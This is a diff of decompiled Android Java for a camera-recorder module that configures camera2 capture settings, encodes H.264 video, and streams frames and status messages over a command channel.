int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return String.format("Sensitivity: %d", Integer.valueOf(intValue));
|
||||
}
|
||||
|
||||
private String ISO(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("ISO: %s", str);
|
||||
}
|
||||
|
||||
private String FPS(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("FPS: %s", str);
|
||||
}
|
||||
|
||||
private String Exposure(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("Exposure: %s", str);
|
||||
}
|
||||
|
||||
private String AE() {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1);
|
||||
setParams();
|
||||
return "Enable AE";
|
||||
}
|
||||
|
||||
private String UserMode(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0);
|
||||
setParams();
|
||||
int parseInt = Integer.parseInt(trim);
|
||||
if (parseInt == 0) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1);
|
||||
} else {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2);
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt));
|
||||
setParams();
|
||||
return String.format("User mode: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String ABW(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1));
|
||||
setParams();
|
||||
return String.format("ABW: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String Test(String str) {
|
||||
try {
|
||||
this.iTest = 0;
|
||||
return "test";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "test";
|
||||
}
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public String SetCommand(String str, String str2) {
|
||||
return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("Test") ? Test(str2) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MinISO() {
|
||||
return this.MinISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MaxISO() {
|
||||
return this.MaxISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int FPS() {
|
||||
return this.FPS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,741 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.graphics.Point;
|
||||
import android.graphics.Rect;
|
||||
import android.hardware.camera2.CameraAccessException;
|
||||
import android.hardware.camera2.CameraCaptureSession;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
|
||||
import android.hardware.camera2.CameraDevice;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.CaptureFailure;
|
||||
import android.hardware.camera2.CaptureRequest;
|
||||
import android.hardware.camera2.CaptureResult;
|
||||
import android.hardware.camera2.TotalCaptureResult;
|
||||
import android.hardware.camera2.params.MeteringRectangle;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.media.MediaCrypto;
|
||||
import android.media.MediaFormat;
|
||||
import android.os.Handler;
|
||||
import android.os.HandlerThread;
|
||||
import android.util.Log;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import android.view.Surface;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.function.Predicate;
|
||||
import java.util.stream.Stream;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CameraHUAWEIn implements ICameraRecord {
|
||||
static boolean Restarting;
|
||||
String[] CamResFPS;
|
||||
Size MaxSize;
|
||||
int aec;
|
||||
int caem;
|
||||
int cafm;
|
||||
MeteringRectangle[] cafr;
|
||||
int caft;
|
||||
int cem;
|
||||
Comand comand;
|
||||
private byte[] config;
|
||||
MediaFormat format;
|
||||
private String id;
|
||||
float lfd;
|
||||
CameraDevice mCamera;
|
||||
CameraManager mCameraManager;
|
||||
Handler mHandler;
|
||||
MediaCodec mMediaCodec;
|
||||
List<Surface> mOutputSurfaces;
|
||||
CaptureRequest.Builder mRecordingRequestBuilder;
|
||||
private Surface mRecordingSurface;
|
||||
private CameraCaptureSession mSession;
|
||||
private CameraConstrainedHighSpeedCaptureSession mSessionHI;
|
||||
HandlerThread mThread;
|
||||
CameraCharacteristics properties;
|
||||
Rect rect;
|
||||
Long set;
|
||||
Long sfd;
|
||||
Speek speek;
|
||||
int ss;
|
||||
private int countSend = 0;
|
||||
public int MinISO = 0;
|
||||
public int MaxISO = 0;
|
||||
public int FPS = 30;
|
||||
int endkey = 0;
|
||||
int outbyte = 0;
|
||||
short outFPS = 0;
|
||||
long timebyte = System.currentTimeMillis();
|
||||
private final MediaCodec.Callback mediaCodecCallback = new MediaCodec.Callback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.1
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onInputBufferAvailable(MediaCodec mediaCodec, int i) {
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onOutputBufferAvailable(MediaCodec mediaCodec, int i, MediaCodec.BufferInfo bufferInfo) {
|
||||
try {
|
||||
ByteBuffer outputBuffer = CameraHUAWEIn.this.mMediaCodec.getOutputBuffer(i);
|
||||
if (outputBuffer != null && bufferInfo.size != 0) {
|
||||
CameraHUAWEIn.this.outbyte += bufferInfo.size;
|
||||
CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn.outFPS = (short) (cameraHUAWEIn.outFPS + 1);
|
||||
if (System.currentTimeMillis() - CameraHUAWEIn.this.timebyte > 1000) {
|
||||
CameraHUAWEIn.this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(CameraHUAWEIn.this.outFPS).putInt(CameraHUAWEIn.this.outbyte).putInt((int) (System.currentTimeMillis() - CameraHUAWEIn.this.timebyte)).array());
|
||||
CameraHUAWEIn.this.outbyte = 0;
|
||||
CameraHUAWEIn.this.outFPS = (short) 0;
|
||||
CameraHUAWEIn.this.timebyte = System.currentTimeMillis();
|
||||
}
|
||||
outputBuffer.position(bufferInfo.offset);
|
||||
outputBuffer.limit(bufferInfo.offset + bufferInfo.size);
|
||||
byte[] bArr = new byte[bufferInfo.size];
|
||||
outputBuffer.get(bArr);
|
||||
if (bufferInfo.flags == 2) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(3);
|
||||
byteArrayOutputStream.write(2);
|
||||
byteArrayOutputStream.write(bArr);
|
||||
byteArrayOutputStream.flush();
|
||||
CameraHUAWEIn.this.config = byteArrayOutputStream.toByteArray();
|
||||
byteArrayOutputStream.close();
|
||||
} catch (IOException e) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
CameraHUAWEIn.access$108(CameraHUAWEIn.this);
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(3);
|
||||
if (bufferInfo.flags == 1) {
|
||||
CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn2.endkey = cameraHUAWEIn2.countSend;
|
||||
CameraHUAWEIn.this.comand.WriteOut(CameraHUAWEIn.this.config);
|
||||
byteArrayOutputStream2.write(1);
|
||||
ByteBuffer allocate = ByteBuffer.allocate(4);
|
||||
allocate.putInt(CameraHUAWEIn.this.endkey);
|
||||
byteArrayOutputStream2.write(allocate.array());
|
||||
} else {
|
||||
byteArrayOutputStream2.write(0);
|
||||
ByteBuffer allocate2 = ByteBuffer.allocate(8);
|
||||
allocate2.putInt(CameraHUAWEIn.this.countSend);
|
||||
allocate2.putInt(CameraHUAWEIn.this.endkey);
|
||||
byteArrayOutputStream2.write(allocate2.array());
|
||||
}
|
||||
byteArrayOutputStream2.write(bArr);
|
||||
byteArrayOutputStream2.flush();
|
||||
CameraHUAWEIn.this.comand.WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
} catch (IOException e2) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
CameraHUAWEIn.this.mMediaCodec.releaseOutputBuffer(i, true);
|
||||
} catch (ArithmeticException e3) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e3);
|
||||
CameraHUAWEIn.this.mMediaCodec.reset();
|
||||
} catch (IllegalStateException e4) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e4);
|
||||
CameraHUAWEIn.Restarting = true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onError(MediaCodec mediaCodec, MediaCodec.CodecException codecException) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=MediaCodecf onError.");
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
|
||||
CameraHUAWEIn.this.mMediaCodec.getOutputFormat();
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=MediaCodecf onOutputFormatChanged.");
|
||||
}
|
||||
};
|
||||
private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.2
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onOpened(CameraDevice cameraDevice) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Camera open.");
|
||||
try {
|
||||
CameraHUAWEIn.this.mCamera = cameraDevice;
|
||||
CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn.properties = cameraHUAWEIn.mCameraManager.getCameraCharacteristics(CameraHUAWEIn.this.mCamera.getId());
|
||||
Size[] outputSizes = ((StreamConfigurationMap) CameraHUAWEIn.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class);
|
||||
CameraHUAWEIn.this.MaxSize = null;
|
||||
for (Size size : outputSizes) {
|
||||
if (size.getWidth() == Integer.parseInt(CameraHUAWEIn.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraHUAWEIn.this.CamResFPS[3])) {
|
||||
CameraHUAWEIn.this.MaxSize = size;
|
||||
}
|
||||
}
|
||||
CameraHUAWEIn.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraHUAWEIn.this.MaxSize.getWidth()), Integer.valueOf(CameraHUAWEIn.this.MaxSize.getHeight())));
|
||||
CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn2.format = MediaFormat.createVideoFormat("video/avc", cameraHUAWEIn2.MaxSize.getWidth(), CameraHUAWEIn.this.MaxSize.getHeight());
|
||||
CameraHUAWEIn.this.format.setInteger("color-format", 2130708361);
|
||||
CameraHUAWEIn cameraHUAWEIn3 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn3.FPS = Integer.parseInt(cameraHUAWEIn3.CamResFPS[5]);
|
||||
CameraHUAWEIn.this.format.setInteger("bitrate", Integer.parseInt(CameraHUAWEIn.this.CamResFPS[0]));
|
||||
CameraHUAWEIn.this.format.setInteger("frame-rate", CameraHUAWEIn.this.FPS);
|
||||
CameraHUAWEIn.this.format.setInteger("i-frame-interval", 1);
|
||||
CameraHUAWEIn.this.comand.WriteOut(String.format("result=BitRate:%s", CameraHUAWEIn.this.CamResFPS[0]));
|
||||
CameraHUAWEIn.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraHUAWEIn.this.format.getInteger("bitrate"))));
|
||||
CameraHUAWEIn.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraHUAWEIn.this.format.getInteger("frame-rate"))));
|
||||
CameraHUAWEIn.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc");
|
||||
CameraHUAWEIn.this.mMediaCodec.configure(CameraHUAWEIn.this.format, (Surface) null, (MediaCrypto) null, 1);
|
||||
CameraHUAWEIn.this.mMediaCodec.setCallback(CameraHUAWEIn.this.mediaCodecCallback);
|
||||
CameraHUAWEIn cameraHUAWEIn4 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn4.mRecordingSurface = cameraHUAWEIn4.mMediaCodec.createInputSurface();
|
||||
CameraHUAWEIn.this.mOutputSurfaces = new ArrayList();
|
||||
CameraHUAWEIn.this.mOutputSurfaces.add(CameraHUAWEIn.this.mRecordingSurface);
|
||||
CameraHUAWEIn.this.mCamera.createCaptureSession(CameraHUAWEIn.this.mOutputSurfaces, CameraHUAWEIn.this.sessionListener, null);
|
||||
CameraHUAWEIn.this.mMediaCodec.start();
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onClosed(CameraDevice cameraDevice) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Camera close.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onDisconnected(CameraDevice cameraDevice) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Camera disconnected.");
|
||||
CameraHUAWEIn.Restarting = true;
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onError(CameraDevice cameraDevice, int i) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Camera error.");
|
||||
CameraHUAWEIn.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i)));
|
||||
}
|
||||
};
|
||||
CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.3
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigured(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Session configure.");
|
||||
CameraHUAWEIn.this.mSession = cameraCaptureSession;
|
||||
CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn.mRecordingRequestBuilder = cameraHUAWEIn.mCamera.createCaptureRequest(3);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.addTarget(CameraHUAWEIn.this.mRecordingSurface);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraHUAWEIn.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraHUAWEIn.this.CamResFPS[5]))));
|
||||
CameraHUAWEIn.this.setParams();
|
||||
if (CameraHUAWEIn.Restarting) {
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraHUAWEIn.this.rect);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraHUAWEIn.this.aec));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraHUAWEIn.this.cem));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraHUAWEIn.this.cafr);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraHUAWEIn.this.ss));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraHUAWEIn.this.sfd);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraHUAWEIn.this.set);
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEIn.this.cafm));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraHUAWEIn.this.caem));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraHUAWEIn.this.caft));
|
||||
CameraHUAWEIn.this.setParams();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onActive(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Session active.");
|
||||
Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onClosed(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Session closed.");
|
||||
try {
|
||||
CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn.rect = (Rect) cameraHUAWEIn.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn2.aec = ((Integer) cameraHUAWEIn2.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn3 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn3.cem = ((Integer) cameraHUAWEIn3.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn4 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn4.cafr = (MeteringRectangle[]) cameraHUAWEIn4.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS);
|
||||
CameraHUAWEIn cameraHUAWEIn5 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn5.cafm = ((Integer) cameraHUAWEIn5.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn6 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn6.caft = ((Integer) cameraHUAWEIn6.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn7 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn7.lfd = ((Float) cameraHUAWEIn7.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue();
|
||||
CameraHUAWEIn cameraHUAWEIn8 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn8.caem = ((Integer) cameraHUAWEIn8.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn9 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn9.ss = ((Integer) cameraHUAWEIn9.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue();
|
||||
CameraHUAWEIn cameraHUAWEIn10 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn10.sfd = (Long) cameraHUAWEIn10.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION);
|
||||
CameraHUAWEIn cameraHUAWEIn11 = CameraHUAWEIn.this;
|
||||
cameraHUAWEIn11.set = (Long) cameraHUAWEIn11.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
|
||||
} catch (Exception e) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEIn.this.mCamera.close();
|
||||
} catch (Exception e2) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e2);
|
||||
}
|
||||
try {
|
||||
if (CameraHUAWEIn.this.mMediaCodec != null) {
|
||||
CameraHUAWEIn.this.mMediaCodec.stop();
|
||||
CameraHUAWEIn.this.mMediaCodec.release();
|
||||
}
|
||||
} catch (Exception e3) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e3);
|
||||
}
|
||||
try {
|
||||
if (CameraHUAWEIn.this.mRecordingSurface != null) {
|
||||
CameraHUAWEIn.this.mRecordingSurface.release();
|
||||
CameraHUAWEIn.this.mRecordingSurface = null;
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e4);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEIn.this.mOutputSurfaces.clear();
|
||||
CameraHUAWEIn.this.mOutputSurfaces = null;
|
||||
} catch (Exception e5) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e5);
|
||||
}
|
||||
CameraHUAWEIn.this.mMediaCodec = null;
|
||||
CameraHUAWEIn.this.mCamera = null;
|
||||
try {
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.removeTarget(CameraHUAWEIn.this.mRecordingSurface);
|
||||
Thread.sleep(750L);
|
||||
} catch (Exception e6) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e6);
|
||||
}
|
||||
try {
|
||||
CameraHUAWEIn.this.mThread.interrupt();
|
||||
} catch (Exception e7) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e7);
|
||||
}
|
||||
if (CameraHUAWEIn.Restarting) {
|
||||
try {
|
||||
CameraHUAWEIn.this.StartRestart();
|
||||
Thread.sleep(250L);
|
||||
} catch (Exception e8) {
|
||||
CameraHUAWEIn.this.comand.WriteErr(e8);
|
||||
}
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraHUAWEIn.this.cafm));
|
||||
CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraHUAWEIn.this.lfd));
|
||||
CameraHUAWEIn.Restarting = false;
|
||||
CameraHUAWEIn.this.setParams();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onReady(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Session ready.");
|
||||
Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Session failed configure.");
|
||||
}
|
||||
};
|
||||
private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.4
|
||||
long time_out_param = System.currentTimeMillis();
|
||||
double lat = 0.0d;
|
||||
double lon = 0.0d;
|
||||
long FrameNumber = 0;
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) {
|
||||
if (System.currentTimeMillis() - this.time_out_param > 200) {
|
||||
String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME));
|
||||
CameraHUAWEIn.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array());
|
||||
this.time_out_param = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Capture failed.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Capture aborted sequence.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) {
|
||||
CameraHUAWEIn.this.comand.WriteOut("result=Capture completed sequence.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) {
|
||||
this.FrameNumber = j2;
|
||||
}
|
||||
};
|
||||
|
||||
static /* synthetic */ int access$108(CameraHUAWEIn cameraHUAWEIn) {
|
||||
int i = cameraHUAWEIn.countSend;
|
||||
cameraHUAWEIn.countSend = i + 1;
|
||||
return i;
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void setParams() {
|
||||
try {
|
||||
this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler);
|
||||
} catch (CameraAccessException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
void StartRestart() {
|
||||
try {
|
||||
this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera");
|
||||
HandlerThread handlerThread = new HandlerThread("CameraThread");
|
||||
this.mThread = handlerThread;
|
||||
handlerThread.start();
|
||||
this.mHandler = new Handler(this.mThread.getLooper());
|
||||
long currentTimeMillis = System.currentTimeMillis();
|
||||
while (System.currentTimeMillis() - currentTimeMillis <= 10000) {
|
||||
String[] cameraIdList = this.mCameraManager.getCameraIdList();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String str : cameraIdList) {
|
||||
sb.append(str).append(";");
|
||||
}
|
||||
this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis)));
|
||||
Thread.sleep(300L);
|
||||
if (cameraIdList.length != 0) {
|
||||
Stream stream = Arrays.stream(cameraIdList);
|
||||
final String str2 = this.CamResFPS[1];
|
||||
Objects.requireNonNull(str2);
|
